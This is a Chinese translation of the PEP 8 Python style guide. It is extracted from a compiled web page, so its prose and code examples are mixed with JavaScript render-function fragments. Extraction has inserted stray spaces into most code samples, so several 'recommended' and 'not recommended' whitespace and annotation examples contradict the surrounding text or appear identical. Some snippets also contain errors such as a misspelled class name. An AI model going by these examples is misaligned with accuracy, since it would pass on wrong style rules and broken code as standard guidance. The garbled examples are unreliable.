Tabs or Spaces? 制表符还是空格? 空格是首选的缩进方式。 制表符只能用于与同样使用制表符缩进的代码保持一致。 Python3不允许同时使用空格和制表符的缩进。 混合使用制表符和空格缩进的Python2代码应该统一转成空格。 当在命令行加入-t选项执行Python2时,它会发出关于非法混用制表符与空格的警告。当使用–tt时,这些警告会变成错误。强烈建议使用这样的参数。
Maximum Line Length 行的最大长度 所有行限制的最大字符数为79。 没有结构化限制的大块文本(文档字符或者注释),每行的最大字符数限制在72。 限制编辑器窗口宽度可以使多个文件并行打开,并且在使用代码检查工具(在相邻列中显示这两个版本)时工作得很好。 大多数工具中的默认封装破坏了代码的可视化结构,使代码更难以理解。避免使用编辑器中默认配置的80窗口宽度,即使工具在帮你折行时在最后一列放了一个标记符。某些基于Web的工具可能根本不提供动态折行。 一些团队更喜欢较长的行宽。如果代码主要由一个团队维护,那这个问题就能达成一致,可以把行长度从80增加到100个字符(更有效的做法是将行最大长度增加到99个字符),前提是注释和文档字符串依然已72字符折行。 Python标准库比较保守,需要将行宽限制在79个字符(文档/注释限制在72)。 较长的代码行选择Python在小括号,中括号以及大括号中的隐式续行方式。通过小括号内表达式的换行方式将长串折成多行。这种方式应该优先使用,而不是使用反斜杠续行 。 反斜杠有时依然很有用。比如,比较长的,多个with状态语句,不能使用隐式续行,所以反斜杠是可以接受的:
with open ( '/path/to/some/file/you/want/to/read' ) as file_1, \\
+ open ( '/path/to/some/file/being/written' , 'w' ) as file_2:
+ file_2. write( file_1. read( ) )
+
`,19),b={href:"https://blog.csdn.net/ratsniper/article/details/78954852#jump",target:"_blank",rel:"noopener noreferrer"},g=t(` Should a line break before or after a binary operator? 在二元运算符之前应该换行吗? 几十年来,推荐的风格是在二元运算符之后中断。但是这会影响可读性,原因有二:操作符一般分布在屏幕上不同的列中,而且每个运算符被移到了操作数的上一行。下面例子这个情况就需要额外注意,那些变量是相加的,那些变量是相减的:
+income = ( gross_wages +
+ taxable_interest +
+ ( dividends - qualified_dividends) -
+ ira_deduction -
+ student_loan_interest)
+
`,3),y={href:"https://blog.csdn.net/ratsniper/article/details/78954852#fn:3",target:"_blank",rel:"noopener noreferrer"},_=t(`
+income = ( gross_wages
+ + taxable_interest
+ + ( dividends - qualified_dividends)
+ - ira_deduction
+ - student_loan_interest)
+
在Python代码中,允许在二元运算符之前或之后中断,只要本地的约定是一致的。对于新代码,建议使用Knuth的样式。
Blank Lines 空行 顶层函数和类的定义,前后用两个空行隔开。 类里的方法定义用一个空行隔开。 相关的功能组可以用额外的空行(谨慎使用)隔开。一堆相关的单行代码之间的空白行可以省略(例如,一组虚拟实现 dummy implementations)。 在函数中使用空行来区分逻辑段(谨慎使用)。 Python接受control-L(即^L)换页符作为空格;许多工具把这些字符当作页面分隔符,所以你可以在文件中使用它们来分隔相关段落。请注意,一些编辑器和基于Web的代码阅读器可能无法识别control-L为换页,将在其位置显示另一个字形。
Source File Encoding 源文件编码 `,5),f={href:"http://legacy.python.org/dev/peps/pep-3131/",target:"_blank",rel:"noopener noreferrer"},x=t(` Imports 导入 导入通常在分开的行,例如:
推荐: import os
+ import sys
+
+不推荐: import sys, os
+
但是可以这样:
from subprocess import Popen, PIPE
+
导入总是位于文件的顶部,在模块注释和文档字符串之后,在模块的全局变量与常量之前。 导入应该按照以下顺序分组:
标准库导入 相关第三方库导入 本地应用/库特定导入 你应该在每一组导入之间加入空行。 推荐使用绝对路径导入,如果导入系统没有正确的配置(比如包里的一个目录在sys.path里的路径后),使用绝对路径会更加可读并且性能更好(至少能提供更好的错误信息):
import mypkg. sibling
+from mypkg import sibling
+from mypkg. sibling import example
+
然而,显示的指定相对导入路径是使用绝对路径的一个可接受的替代方案,特别是在处理使用绝对路径导入不必要冗长的复杂包布局时:
from . import sibling
+from . sibling import example
+
标准库要避免使用复杂的包引入结构,而总是使用绝对路径。 不应该使用隐式相对路径导入,并且在Python 3中删除了它。
当从一个包含类的模块中导入类时,常常这么写:
from myclass import MyClass
+from foo. bar. yourclass import YourClass
+
如果上述的写法导致名字的冲突,那么这么写:
import myclass
+import foo. bar. yourclass
+
然后使用“myclass.MyClass”和“foo.bar.yourclass.YourClass”。
避免通配符的导入(from import *),因为这样做会不知道命名空间中存在哪些名字,会使得读取接口和许多自动化工具之间产生混淆。对于通配符的导入,有一个防御性的做法,即将内部接口重新发布为公共API的一部分(例如,用可选加速器模块的定义覆盖纯Python实现的接口,以及重写那些事先不知道的定义)。 当以这种方式重新发布名称时,以下关于公共和内部接口的准则仍然适用。
Module level dunder names 模块级的“呆”名 像__all__
, __author__
, __version__
等这样的模块级“呆名“(也就是名字里有两个前缀下划线和两个后缀下划线),应该放在文档字符串的后面,以及除from __future__
之外的import表达式前面。Python要求将来在模块中的导入,必须出现在除文档字符串之外的其他代码之前。 比如:
"""This is the example module.
+
+This module does stuff.
+"""
+
+from __future__ import barry_as_FLUFL
+
+__all__ = [ 'a' , 'b' , 'c' ]
+__version__ = '0.1'
+__author__ = 'Cardinal Biggles'
+
+import os
+import sys
+
String Quotes 字符串引号 `,6),w={href:"http://legacy.python.org/dev/peps/pep-0257/",target:"_blank",rel:"noopener noreferrer"},P=t(` Whitespace in Expressions and Statements 表达式和语句中的空格 Pet Peeves 不能忍受的事情 在下列情况下,避免使用无关的空格:
Other Recommendations 其他建议 避免在尾部添加空格。因为尾部的空格通常都看不见,会产生混乱:比如,一个反斜杠后面跟一个空格的换行符,不算续行标记。有些编辑器不会保留尾空格,并且很多项目(像CPython)在pre-commit的挂钩调用中会过滤掉尾空格。
总是在二元运算符两边加一个空格:赋值(=),增量赋值(+=,-=),比较(==,<,>,!=,<>,<=,>=,in,not,in,is,is not),布尔(and, or, not)。
如果使用具有不同优先级的运算符,请考虑在具有最低优先级的运算符周围添加空格。有时需要通过自己来判断;但是,不要使用一个以上的空格,并且在二元运算符的两边使用相同数量的空格。 推荐:
i = i + 1
+submitted += 1
+x = x* 2 - 1
+hypot2 = x* x + y* y
+c = ( a+ b) * ( a- b)
+
不推荐:
i= i+ 1
+submitted += 1
+x = x * 2 - 1
+hypot2 = x * x + y * y
+c = ( a + b) * ( a - b)
+
在制定关键字参数或者默认参数值的时候,不要在=附近加上空格。 推荐:
def complex ( real, imag= 0.0 ) :
+ return magic( r= real, i= imag)
+
不推荐:
def complex ( real, imag = 0.0 ) :
+ return magic( r = real, i = imag)
+
功能型注释应该使用冒号的一般性规则,并且在使用->的时候要在两边加空格。(参考下面的功能注释得到能够多信息) 推荐:
def munge ( input : AnyStr) : . . .
+def munge ( ) - > AnyStr: . . .
+
不推荐:
def munge ( input : AnyStr) : . . .
+def munge ( ) - > PosInt: . . .
+
当给有类型备注的参数赋值的时候,在=两边添加空格(仅针对那种有类型备注和默认值的参数)。 推荐
def munge ( sep: AnyStr = None ) : . . .
+def munge ( input : AnyStr, sep: AnyStr = None , limit= 1000 ) : . . .
+
不推荐
def munge ( input : AnyStr= None ) : . . .
+def munge ( input : AnyStr, limit = 1000 ) : . . .
+
复合语句(同一行中的多个语句)通常是不允许的。 推荐:if foo == 'blah' :
+ do_blah_thing( )
+do_one( )
+do_two( )
+do_three( )
+
最好别这样:if foo == 'blah' : do_blah_thing( )
+do_one( ) ; do_two( ) ; do_three( )
+
虽然有时候将小的代码块和 if/for/while 放在同一行没什么问题,多行语句块的情况不要这样用,同样也要避免代码行太长! 最好别这样:if foo == 'blah' : do_blah_thing( )
+for x in lst: total += x
+while t < 10 : t = delay( )
+
绝对别这样:if foo == 'blah' : do_blah_thing( )
+else : do_non_blah_thing( )
+
+try : something( )
+finally : cleanup( )
+
+do_one( ) ; do_two( ) ; do_three( long , argument,
+ list , like, this)
+if foo == 'blah' : one( ) ; two( ) ; three( )
+
与代码相矛盾的注释比没有注释还糟,当代码更改时,优先更新对应的注释! 注释应该是完整的句子。如果一个注释是一个短语或句子,它的第一个单词应该大写,除非它是以小写字母开头的标识符(永远不要改变标识符的大小写!)。 如果注释很短,结尾的句号可以省略。块注释一般由完整句子的一个或多个段落组成,并且每句话结束有个句号。 在句尾结束的时候应该使用两个空格。 当用英文书写时,遵循Strunk and White (译注:《Strunk and White, The Elements of Style》)的书写风格。 在非英语国家的Python程序员,请使用英文写注释,除非你120%的确信你的代码不会被使用其他语言的人阅读。 块注释通常适用于跟随它们的某些(或全部)代码,并缩进到与代码相同的级别。块注释的每一行开头使用一个#和一个空格(除非块注释内部缩进文本)。 块注释内部的段落通过只有一个#的空行分隔。 有节制地使用行内注释。 行内注释是与代码语句同行的注释。行内注释和代码至少要有两个空格分隔 。注释由#和一个空格 开始。 事实上,如果状态明显的话,行内注释是不必要的,反而会分散注意力。 比如说下面这样就不需要:但有时,这样做很有用: Documentation Strings 文档字符串 编写好的文档说明(也叫“docstrings”)的约定在PEP 257中永恒不变。 要为所有的公共模块,函数,类以及方法编写文档说明。非公共的方法没有必要,但是应该有一个描述方法具体作用的注释。这个注释应该在def那一行之后。 PEP 257 描述了写出好的文档说明相关的约定。特别需要注意的是,多行文档说明使用的结尾三引号应该自成一行,例如:"""Return a foobang
+
+Optional plotz says to frobnicate the bizbaz first.
+"""
+
对于单行的文档说明,尾部的三引号应该和文档在同一行。 Naming Conventions 命名规范 Python库的命名规范很乱,从来没能做到完全一致。但是目前有一些推荐的命名标准。新的模块和包(包括第三方框架)应该用这套标准,但当一个已有库采用了不同的风格,推荐保持内部一致性。 Overriding Principle 最重要的原则 那些暴露给用户的API接口的命名,应该遵循反映使用场景而不是实现的原则。 Descriptive: Naming Styles 描述:命名风格 有许多不同的命名风格。这里能够帮助大家识别正在使用什么样的命名风格,而不考虑他们为什么使用。
以下是常见的命名方式:
b(单个小写字母) B(单个大写字母) lowercase 小写字母 lower_case_with_underscores 使用下划线分隔的小写字母 UPPERCASE 大写字母 UPPER_CASE_WITH_UNDERSCORES 使用下划线分隔的大写字母 CapitalizedWords(或者叫 CapWords,或者叫CamelCase 驼峰命名法 —— 这么命名是因为字母看上去有起伏的外观5)。有时候也被称为StudlyCaps。 注意:当在首字母大写的风格中用到缩写时,所有缩写的字母用大写,因此,HTTPServerError 比 HttpServerError 好。 mixedCase(不同于首字母大写,第一个单词的首字母小写) Capitalized_Words_With_Underscores(巨丑无比!) 也有用唯一的短前缀把相关命名组织在一起的方法。这在Python中不常用,但还是提一下。比如,os.stat()函数中包含类似以st_mode,st_size,st_mtime这种传统命名方式命名的变量。(这么做是为了与 POSIX 系统的调用一致,以帮助程序员熟悉它。)
X11库的所有公共函数都加了前缀X。在Python里面没必要这么做,因为属性和方法在调用的时候都会用类名做前缀,函数名用模块名做前缀。
另外,下面这种用前缀或结尾下划线的特殊格式是被认可的(通常和一些约定相结合):
_single_leading_underscore:(单下划线开头)弱“内部使用”指示器。比如 from M import * 是不会导入以下划线开始的对象的 。 __double_leading_underscore:(双下划线开头)当这样命名一个类的属性时,调用它的时候名字会做矫正(在类FooBar中,__boo变成了_FooBar__boo;见下文)。 double_leading_and_trailing_underscore :(双下划线开头,双下划线结尾)“magic”对象或者存在于用户控制的命名空间内的属性,例如:init ,import__或者__file 。除了作为文档之外,永远不要命这样的名。 Prescriptive: Naming Conventions 约定俗成:命名约定 Names to Avoid 应避免的名字 永远不要使用字母‘l’(小写的L),‘O’(大写的O),或者‘I’(大写的I)作为单字符变量名。 在有些字体里,这些字符无法和数字0和1区分,如果想用‘l’,用‘L’代替。 Package and Module Names 包名和模块名 模块应该用简短全小写的名字 ,如果为了提升可读性,下划线也是可以用的 。Python包名也应该使用简短全小写的名字,但不建议用下划线 。 当使用C或者C++编写了一个依赖于提供高级(更面向对象)接口的Python模块的扩展模块,这个C/C++模块需要一个下划线前缀(例如:_socket) Class Names 类名 类名一般使用首字母大写的约定。 在接口被文档化并且主要被用于调用的情况下,可以使用函数的命名风格代替。 注意 ,对于内置的变量命名有一个单独的约定:大部分内置变量是单个单词(或者两个单词连接在一起),首字母大写的命名法只用于异常名或者内部的常量。 Exception Names 异常名 因为异常一般都是类,所有类的命名方法在这里也适用。然而,你需要在异常名后面加上“Error”后缀(如果异常确实是一个错误)。 Global Variable Names 全局变量名 (我们希望这一类变量只在模块内部使用。)约定和函数命名规则一样。 通过 from M import * 导入的模块应该使用all机制去防止内部的接口对外暴露,或者使用在全局变量前加下划线的方式 (表明这些全局变量是模块内非公有)。 Function Names 函数名 函数名应该小写,如果想提高可读性可以用下划线分隔 。 大小写混合仅在为了兼容原来主要以大小写混合风格的情况下使用(比如 threading.py),保持向后兼容性。 Function and method arguments 函数和方法参数 始终要将 self 作为实例方法的的第一个参数。 始终要将 cls 作为类静态方法的第一个参数。 如果函数的参数名和已有的关键词冲突,在最后加单一下划线比缩写或随意拼写更好。因此 class_ 比 clss 更好。(也许最好用同义词来避免这种冲突) Method Names and Instance Variables 方法名和实例变量 遵循这样的函数命名规则:使用下划线分隔小写单词以提高可读性。 在非共有方法和实例变量前使用单下划线。 通过双下划线前缀触发Python的命名转换规则来避免和子类的命名冲突。 Python通过类名对这些命名进行转换:如果类 Foo 有一个叫 __a 的成员变量, 它无法通过 Foo.__a 访问。(执着的用户可以通过 Foo._Foo__a 访问。)一般来说,前缀双下划线用来避免类中的属性命名与子类冲突的情况。 注意 :关于__names的用法存在争论(见下文)。 Constants 常量 常量通常定义在模块级,通过下划线分隔的全大写字母命名。例如: MAX_OVERFLOW 和 TOTAL。 Designing for inheritance 继承的设计\\ 始终要考虑到一个类的方法和实例变量(统称:属性)应该是共有还是非共有。如果存在疑问,那就选非共有;因为将一个非共有变量转为共有比反过来更容易。 公共属性是那些与类无关的客户使用的属性,并承诺避免向后不兼容的更改。非共有属性是那些不打算让第三方使用的属性;你不需要承诺非共有属性不会被修改或被删除。 我们不使用“私有(private)”这个说法 ,是因为在Python中目前还没有真正的私有属性(为了避免大量不必要的常规工作)。 另一种属性作为子类API的一部分(在其他语言中通常被称为“protected”)。有些类是专为继承设计的,用来扩展或者修改类的一部分行为。当设计这样的类时,要谨慎决定哪些属性时公开的,哪些是作为子类的API,哪些只能在基类中使用。 贯彻这样的思想,一下是一些让代码Pythonic的准则: 公共属性不应该有前缀下划线。 如果公共属性名和关键字冲突,在属性名之后增加一个下划线。这比缩写和随意拼写好很多。(然而,尽管有这样的规则,在作为参数或者变量时,‘cls’是表示‘类’最好的选择,特别是作为类方法的第一个参数。) 注意1:参考之前的类方法参数命名建议 注意2:尽管功能方法对于类似缓存的负面影响比较小,但还是要尽量避免。 注意3:属性标记会让调用者认为开销(相当的)小,避免用属性做开销大的计算。 如果你的类打算用来继承的话,并且这个类里有不希望子类使用的属性,就要考虑使用双下划线前缀并且没有后缀下划线的命名方式 。这会调用Python的命名转换算法,将类的名字加入到属性名里。这样做可以帮助避免在子类中不小心包含了相同的属性名而产生的冲突。 注意1:只有类名才会整合进属性名,如果子类的属性名和类名和父类都相同,那么你还是会有命名冲突的问题。 注意2:命名转换会在某些场景使用起来不太方便,例如调试,getattr ()。然而命名转换的算法有很好的文档说明并且很好操作。 注意3:不是所有人都喜欢命名转换。尽量避免意外的名字冲突和潜在的高级调用。 Public and internal interfaces 公共和内部的接口 任何向后兼容保证只适用于公共接口,因此,用户清晰地区分公共接口和内部接口非常重要。 文档化的接口被认为是公开的,除非文档明确声明它们是临时或内部接口,不受通常的向后兼容性保证。所有未记录的接口都应该是内部的。 为了更好地支持内省(introspection),模块应该使用__all__属性显式地在它们的公共API中声明名称。将__all__设置为空列表表示模块没有公共API。 即使通过__all__设置过,内部接口(包,模块,类,方法,属性或其他名字)依然需要单个下划线前缀。 如果一个命名空间(包,模块,类)被认为是内部的,那么包含它的接口也应该被认为是内部的。 导入的名称应该始终被视作是一个实现的细节。其他模块必须不能间接访问这样的名称,除非它是包含它的模块中有明确的文档说明的API,例如 os.path 或者是一个包里从子模块公开函数接口的 init 模块。 Programming Recommendations 编程建议 代码应该用不损害其他Python实现的方式去编写(PyPy,Jython,IronPython,Cython,Psyco 等)。
比如,不要依赖于在CPython中高效的内置字符连接语句 a += b 或者 a = a + b。这种优化甚至在CPython中都是脆弱的(它只适用于某些类型)并且没有出现在不使用引用计数的实现中。在性能要求比较高的库中,可以种 ”.join() 代替。这可以确保字符关联在不同的实现中都可以以线性时间发生。 和像None这样的单例对象进行比较的时候应该始终用 is 或者 is not,永远不要用等号运算符。
另外,如果你在写 if x 的时候,请注意你是否表达的意思是 if x is not None。举个例子,当测试一个默认值为None的变量或者参数是否被设置为其他值的时候。这个其他值应该是在上下文中能成为bool类型false的值。 使用 is not 运算符,而不是 not … is 。虽然这两种表达式在功能上完全相同,但前者更易于阅读,所以优先考虑。 推荐:
不推荐:
当使用富比较(rich comparisons,一种复杂的对象间比较的新机制,允许返回值不为-1,0,1)实现排序操作的时候,最好实现全部的六个操作符(eq , ne , lt , gt , ge )而不是依靠其他的代码去实现特定的比较。
为了最大程度减少这一过程的开销, functools.total_ordering() 修饰符提供了用于生成缺少的比较方法的工具。 PEP 207 指出Python实现了反射机制。因此,解析器会将 y > x 转变为 x < y,将 y >= x 转变为 x <= y,也会转换x == y 和 x != y的参数。sort() 和 min()方法确保使用<操作符,max()使用>操作符。然而,最好还是实现全部六个操作符,以免在其他地方出现冲突。 始终使用def表达式,而不是通过赋值语句将lambda表达式绑定到一个变量上。 推荐:
不推荐:
第一个形式意味着生成的函数对象的名称是“f”而不是泛型“< lambda >”。这在回溯和字符串显示的时候更有用。赋值语句的使用消除了lambda表达式优于显式def表达式的唯一优势(即lambda表达式可以内嵌到更大的表达式中)。 从Exception继承异常,而不是BaseException。直接继承BaseException的异常适用于几乎不用来捕捉的异常。
设计异常的等级,要基于扑捉异常代码的需要,而不是异常抛出的位置。以编程的方式去回答“出了什么问题?”,而不是只是确认“出现了问题”(内置异常结构的例子参考 PEP 3151 ) 类的命名规范适用于这里,但是你需要添加一个“Error”的后缀到你的异常类,如果异常是一个Error的话 。非本地流控制或者其他形式的信号的非错误异常不需要特殊的后缀。 适当地使用异常链接。在Python 3里,为了不丢失原始的根源,可以显式指定“raise X from Y”作为替代。
当故意替换一个内部异常时(Python 2 使用“raise X”, Python 3.3 之后 使用 “raise X from None”),确保相关的细节转移到新的异常中(比如把AttributeError转为KeyError的时候保留属性名,或者将原始异常信息的文本内容内嵌到新的异常中)。 在Python 2中抛出异常时,使用 rasie ValueError(‘message’) 而不是用老的形式 raise ValueError, ‘message’。
第二种形式在Python3 的语法中不合法 使用小括号,意味着当异常里的参数非常长,或者包含字符串格式化的时候,不需要使用换行符。 当捕获到异常时,如果可以的话写上具体的异常名,而不是只用一个except: 块。 比如说:
try :
+ import platform_specific_module
+except ImportError:
+ platform_specific_module = None
+
如果只有一个except: 块将会捕获到SystemExit和KeyboardInterrupt异常,这样会很难通过Control-C中断程序,而且会掩盖掉其他问题。如果你想捕获所有指示程序出错的异常,使用 except Exception: (只有except等价于 except BaseException: )。 两种情况不应该只使用‘excpet’块: 如果异常处理的代码会打印或者记录log;至少让用户知道发生了一个错误。 如果代码需要做清理工作,使用 raise..try…finally 能很好处理这种情况并且能让异常继续上浮。 当给捕捉的异常绑定一个名字时,推荐使用在Python 2.6中加入的显式命名绑定语法: try :
+ process_data( )
+except Exception as exc:
+ raise DataProcessingFailedError( str ( exc) )
+
为了避免和原来基于逗号分隔的语法出现歧义,Python3只支持这一种语法。
当捕捉操作系统的错误时,推荐使用Python 3.3 中errno内定数值指定的异常等级。 另外,对于所有的 try/except 语句块,在try语句中只填充必要的代码,这样能避免掩盖掉bug。 推荐: try :
+ value = collection[ key]
+except KeyError:
+ return key_not_found( key)
+else :
+ return handle_value( value)
+
不推荐:
try :
+
+ return handle_value( collection[ key] )
+except KeyError:
+
+ return key_not_found( key)
+
`,66),E={href:"https://blog.csdn.net/ZM_Yang/article/details/86649748",target:"_blank",rel:"noopener noreferrer"},C=n("li",null,"编程中,在我们使用系统资源的时候,如需打开一个文件用于读写,加锁确保线程安全,在使用完成后需要关闭该文件,释放我们所占用的资源。通常,我们可以将其封装在一个try...except...finally语句块中,这样能够确保在运行产生错误的情况我们也能释放相关资源。但每次都要记得手动关闭,着实麻烦。毕竟懒是是第一生产力,有没有更简便的写法?",-1),S=n("li",null,"答案是:有。Python提供了一个with表达式,只要将相关的代码块放入with表达式中,它便能起到一个类似try...except的作用,这使得我们不需要每次使用完成后再去手动关闭相关资源了。其使用语法为:",-1),I=t(`with_stmt : := "with" with_item ( "," with_item) * ":" suite
+with_item : := expression [ "as" target]
+
+例如:
+with open ( 'myfile.txt' , 'w' ) as fd:
+
+ BLOCK1
+ . . .
+
+
+
+
+BLOCK2
+. . .
+
实际上,with表达式是将用户相关代码块封装在一个上下文管理器(context manager)中。所谓上下文管理器,通俗的讲,其实就是一个包含特定方法对__enter__, __exit__的对象,该方法对使得用户可以在进入相关代码块前设置好所需上下文环境,并在相关代码块退出后做一些善后工作,如释放资源,解锁等。 with的执行流程如下所示: 获取上下文管理器。例如上面代码块中的open('myfile.txt', 'w')会将文件自身返回; 2.上下文管理器的__enter__方法被调用; 3.第二步中的返回值被赋值到target,如果target存在的话; 4.执行with中的代码块,BLOCK1 5.上下文管理器的__exit__方法被调用。 6.判断代码块的退出原因,如果是因为一场退出,执行第7步,如果因为除了异常以外的原因(如正常退出),忽略第七步; 7.判断第5步中__exit__的返回值,如果是True,忽略异常继续执行后面代码,如果是False则抛出该异常,终止执行。 上面几个步骤可以用伪代码表示如下: context_manager = SomeKindOfManager( )
+target = context_manager. __enter__( )
+try :
+ BLOCK1
+finally :
+ result = context_manager. __exit__( )
+ if reason is exception:
+ if result:
+ suppress exception
+ else
+ raise exception
+
+BLOCK2
+
上面提到的__exit__方法接收三个参数,分别是exception_type, exception_value, exception_traceback。 下面,就用个小栗子作为结束吧。 class MyContextManager ( object ) :
+
+ def __enter__ ( self) :
+ return 'hello world'
+
+ def __exit__ ( self, exc_type, exc_val, exc_traceback) :
+ print ( 'Byebye' )
+
+
+with MyContextNanager( ) as msg:
+ print ( msg)
+
`,5),q=t(``,1),N=t(`无论何时获取和释放资源,都应该通过单独的函数或方法调用上下文管理器。举个例子: 推荐:with conn. begin_transaction( ) :
+ do_stuff_in_transaction( conn)
+
不推荐:with conn:
+ do_stuff_in_transaction( conn)
+
第二个例子没有提供任何信息去指明__enter__和__exit__方法在事务之后做出了关闭连接之外的其他事情。这种情况下,明确指明非常重要。 返回的语句保持一致。函数中的返回语句都应该返回一个表达式,或者都不返回。如果一个返回语句需要返回一个表达式,那么在没有值可以返回的情况下,需要用 return None 显式指明,并且在函数的最后显式指定一条返回语句(如果能跑到那的话)。 推荐:def foo ( x) :
+ if x >= 0 :
+ return math. sqrt( x)
+ else :
+ return None
+
+def bar ( x) :
+ if x < 0 :
+ return None
+ return math. sqrt( x)
+
不推荐:def foo ( x) :
+ if x >= 0 :
+ return math. sqrt( x)
+
+def bar ( x) :
+ if x < 0 :
+ return
+ return math. sqrt( x)
+
使用字符串方法代替字符串模块。 字符串方法总是更快,并且和unicode字符串分享相同的API。如果需要兼容Python2.0之前的版本可以不用考虑这个规则。 使用 ”.startswith() 和 ”.endswith() 代替通过字符串切割的方法去检查前缀和后缀。 startswith()和endswith()更干净,出错几率更小。比如:推荐: if foo. startswith( 'bar' ) :
+糟糕: if foo[ : 3 ] == 'bar' :
+
对象类型的比较应该用isinstance()而不是直接比较type。正确: if isinstance ( obj, int ) :
+糟糕: if type ( obj) is type ( 1 ) :
+
当检查一个对象是否为string类型时,记住,它也有可能是unicode string !在Python2中,str和unicode都有相同的基类:basestring,所以你可以这样:if isinstance ( obj, basestring ) :
+
注意 ,在Python3中,unicode和basestring都不存在了(只有str)并且bytes类型的对象不再是string类型的一种(它是整数序列) 对于序列来说(strings,lists,tuples),可以使用空序列为false的情况。正确: if not seq:
+ if seq:
+
+糟糕: if len ( seq) :
+ if not len ( seq) :
+
书写字符串时不要依赖单词结尾的空格,这样的空格在视觉上难以区分,有些编辑器会自动去掉他们(比如 reindent.py (译注:re indent 重新缩进)) 不要用 == 去和True或者False比较:正确: if greeting:
+糟糕: if greeting == True :
+更糟: if greeting is True :
+
Function Annotations 功能注释 `,4),A=t(`为了向前兼容,在Python3代码中的功能注释应该使用 PEP 484的语法规则。(在前面的章节中对注释有格式化的建议。) 不再鼓励使用之前在PEP中推荐的实验性样式。 然而,在stdlib库之外,在PEP 484中的实验性规则是被鼓励的。比如用PEP 484的样式标记大型的第三方库或者应用程序,回顾添加这些注释是否简单,并观察是否增加了代码的可读性。 Python的标准库代码应该保守使用这种注释,但新的代码或者大型的重构可以使用这种注释。 如果代码希望对功能注释有不同的用途,建议在文件的顶部增加一个这种形式的注释:这会告诉检查器忽略所有的注释。(在 PEP 484中可以找到从类型检查器禁用投诉的更细粒度的方法。) 像linters一样,类型检测器是可选的可独立的工具。默认情况下,Python解释器不应该因为类型检查而发出任何消息,也不应该基于注释改变它们的行为。 不想使用类型检测的用户可以忽略他们。然而,第三方库的用户可能希望在这些库上运行类型检测。为此, PEP 484 建议使用存根文件类型:.pyi文件,这种文件类型相比于.py文件会被类型检测器读取。存根文件可以和库一起,或者通过typeshed repo6独立发布(通过库作者的许可) `,7),T={href:"http://legacy.python.org/dev/peps/pep-0484/",target:"_blank",rel:"noopener noreferrer"},B={href:"https://www.python.org/dev/peps/pep-0484/#suggested-syntax-for-python-2-7-and-straddling-code",target:"_blank",rel:"noopener noreferrer"},L=n("hr",null,null,-1),F=n("h1",{id:"参考",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#参考","aria-hidden":"true"},"#"),s(" 参考")],-1),M=n("li",null,"PEP 7, Style Guide for C Code, van Rossum",-1),O={href:"https://barry.warsaw.us/software/STYLEGUIDE.txt",target:"_blank",rel:"noopener noreferrer"},K=n("li",null,"挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。",-1),W=n("li",null,"Donald Knuth’s The TeXBook, pages 195 and 196",-1),U={href:"https://en.wikipedia.org/wiki/Camel_case",target:"_blank",rel:"noopener noreferrer"},R={href:"https://github.com/python/typeshed",target:"_blank",rel:"noopener noreferrer"},Y={href:"https://www.python.org/dev/peps/pep-0484/#suggested-syntax-for-python-2-7-and-straddling-code",target:"_blank",rel:"noopener noreferrer"};function D(V,X){const a=o("ExternalLinkIcon");return i(),l("div",null,[u,n("p",null,[s("本文提供的Python代码编码规范基于Python主要发行版本的标准库。Python的C语言实现的C代码规范请查看相应的"),n("a",r,[s("PEP指南"),e(a)]),s("。")]),n("p",null,[s("这篇文档以及"),n("a",d,[s("PEP 257"),e(a)]),s("(文档字符串的规范)改编自Guido原始的《Python Style Guide》一文,同时添加了一些"),n("a",k,[s("来自Barry的风格指南"),e(a)]),s("。")]),v,n("p",null,[s("续行应该与其包裹元素对齐,要么使用圆括号、方括号和花括号内的隐式行连接来垂直对齐,要么使用挂行缩进对齐"),n("a",m,[s("3"),e(a)]),s("。当使用挂行缩进时,应该考虑到第一行不应该有参数,以及使用缩进以区分自己是续行。")]),h,n("p",null,[s("(请参阅前面关于多行"),n("a",b,[s("if-语句"),e(a)]),s("的讨论,以获得关于这种多行with-语句缩进的进一步想法。) 另一种类似情况是使用assert语句。 确保在续行进行适当的缩进。")]),g,n("p",null,[s("为了解决这种可读性的问题,数学家和他们的出版商遵循了相反的约定。Donald Knuth在他的Computers and Typesetting系列中解释了传统规则:“尽管段落中的公式总是在二元运算符和关系之后中断,显示出来的公式总是要在二元运算符之前中断”"),n("a",y,[s("4"),e(a)]),s("。 遵循数学的传统能产出更多可读性高的代码:")]),_,n("p",null,[s("Python核心发布版本中的代码总是以UTF-8格式编码(或者在Python2中用ASCII编码)。 使用ASCII(在Python2中)或UTF-8(在Python3中)编码的文件不应具有编码声明。 在标准库中,非默认的编码应该只用于测试,或者当一个注释或者文档字符串需要提及一个包含内ASCII字符编码的作者名字的时候;否则,使用\\x,\\u,\\U , 或者 \\N 进行转义来包含非ASCII字符。 对于Python 3和更高版本,标准库规定了以下策略(参见 "),n("a",f,[s("PEP 3131"),e(a)]),s("):Python标准库中的所有标识符必须使用ASCII标识符,并在可行的情况下使用英语单词(在许多情况下,缩写和技术术语是非英语的)。此外,字符串文字和注释也必须是ASCII。唯一的例外是(a)测试非ASCII特征的测试用例,以及(b)作者的名称。作者的名字如果不使用拉丁字母拼写,必须提供一个拉丁字母的音译。 鼓励具有全球受众的开放源码项目采取类似的政策。")]),x,n("p",null,[s("在Python中,单引号和双引号字符串是相同的。PEP不会为这个给出建议。选择一条规则并坚持使用下去。当一个字符串中包含单引号或者双引号字符的时候,使用和最外层不同的符号来避免使用反斜杠,从而提高可读性。 对于三引号字符串,总是使用双引号字符来与"),n("a",w,[s("PEP 257"),e(a)]),s("中的文档字符串约定保持一致。")]),P,n("ul",null,[n("li",null,[s("当代码片段局部使用了某个资源的时候,使用with 表达式来确保这个资源使用完后被清理干净。用try/finally也可以。 "),n("ul",null,[n("li",null,[n("a",E,[s("参考链接"),e(a)])]),C,S]),I,s("其结果为:"),q])]),N,n("ul",null,[n("li",null,[s("随着PEP 484的引入,功能型注释的风格规范有些变化。 "),n("ul",null,[A,n("li",null,[s("对于需要向后兼容的代码,可以以注释的形式添加功能型注释。参见"),n("a",T,[s("PEP 484"),e(a)]),s("的相关部分。"),n("a",B,[s("(参考:Suggested syntax for Python 2.7 and straddling code)"),e(a)])])])])]),L,F,n("ol",null,[M,n("li",null,[n("a",O,[s("Barry’s GNU Mailman style guide"),e(a)])]),K,W,n("li",null,[n("a",U,[s("Camel case"),e(a)])]),n("li",null,[n("a",R,[s("Typeshed repo"),e(a)])]),n("li",null,[n("a",Y,[s("Suggested syntax for Python 2.7 and straddling 